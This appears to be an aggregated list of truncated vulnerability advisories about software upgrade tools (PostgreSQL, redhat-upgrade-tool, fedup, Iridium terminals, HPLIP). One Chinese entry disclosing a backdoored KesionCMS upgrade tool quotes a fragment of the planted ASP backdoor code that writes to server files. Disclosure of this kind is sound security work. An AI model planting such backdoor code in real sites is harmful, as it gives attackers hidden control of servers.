USN-3818-1 postgresql-10 vulnerability

It was discovered that PostgreSQL incorrectly handled certain trigger definitions when running pgupgrade or pgdump. A remote attacker could possibly use this issue to execute arbitrary SQL statements with superuser privileges...

ALPINE-CVE-2018-16850

postgresql before versions 11.1, 10.6 is vulnerable to a to SQL injection in pgupgrade and pgdump via CREATE TRIGGER ... REFERENCING. Using a purpose-crafted trigger definition, an attacker can cause arbitrary SQL statements to run, with superuser privileges...

redhat-upgrade-tool: does not check GPG signatures on package installation

It was found that the redhat-upgrade-tool did not check GPG signatures on downloaded and installed packages during the upgrade process...

Important: Red Hat Bug Fix Advisory: redhat-upgrade-tool bug fix update

An updated redhat-upgrade-tool package that fixes one bug is now available for Red Hat Enterprise Linux 7. The Red Hat Upgrade Tool is used for performing an in-place upgrade of the current system to the next major version of Red Hat Enterprise Linux. It determines what packages are needed for th...

kesionV8.0升9.0工具中被修改过加入后门

简要描述： 要是用到V8.0升9.0工具就会被入侵 详细说明： 直接从官方下载来的 KesionCMS V8.0升9.0工具 。 漏洞证明： 代码inc/include.asp和index.asp最后面的代码 这代码可干的事很多吧。 " Response.End End If StrLogText=StrLogText& sender Set Lzwudi=Server.CreateObject"Scripting.FileSystemObject" Set Lenovo=Lzwudi.OpenTextFileServer.MapPath"."&""&StrLogFile,8,True,...

[SECURITY] Fedora 21 Update: fedup-0.9.0-2.fc21

fedup is the Fedora Upgrade tool...

redhat-upgrade-tool: does not check GPG signatures on package installation

It was found that the redhat-upgrade-tool did not check GPG signatures on downloaded and installed packages during the upgrade process...

Important: Red Hat Bug Fix Advisory: redhat-upgrade-tool bug fix update

An updated redhat-upgrade-tool package that fixes several bugs is now available for Red Hat Enterprise Linux 6. The Red Hat Upgrade Tool is used for performing an in-place upgrade of your current system to the next major version of Red Hat Enterprise Linux. It determines what packages are needed...

CVE-2014-0327

The Terminal Upgrade Tool in the Pilot Below Deck Equipment BDE and OpenPort implementations on Iridium satellite terminals allows remote attackers to execute arbitrary code by uploading new firmware to TCP port 54321...

CVE-2014-0327

CVE-2014-0327 affects Iridium Pilot BDE and OpenPort on Iridium terminals. The vulnerability stems from an unauthenticated firmware upgrade tool accessible via TCP port 54321, allowing remote attackers to upload firmware and execute arbitrary code, potentially gaining privileged access. Publicly,...

Updated hplip package fixes security vulnerabilities

It was discovered that the HPLIP Polkit daemon incorrectly handled temporary files. A local attacker could possibly use this issue to overwrite arbitrary files. CVE-2013-6402 It was discovered that HPLIP contained an upgrade tool that would download code in an unsafe fashion. If a remote attacker...

Ubuntu: Security Advisory (USN-2085-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2014 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

USN-2085-1: HPLIP vulnerabilities

It was discovered that the HPLIP Polkit daemon incorrectly handled temporary files. A local attacker could possibly use this issue to overwrite arbitrary files. In the default installation of Ubuntu 12.04 LTS and higher, this should be prevented by the Yama link restrictions. CVE-2013-6402 It was...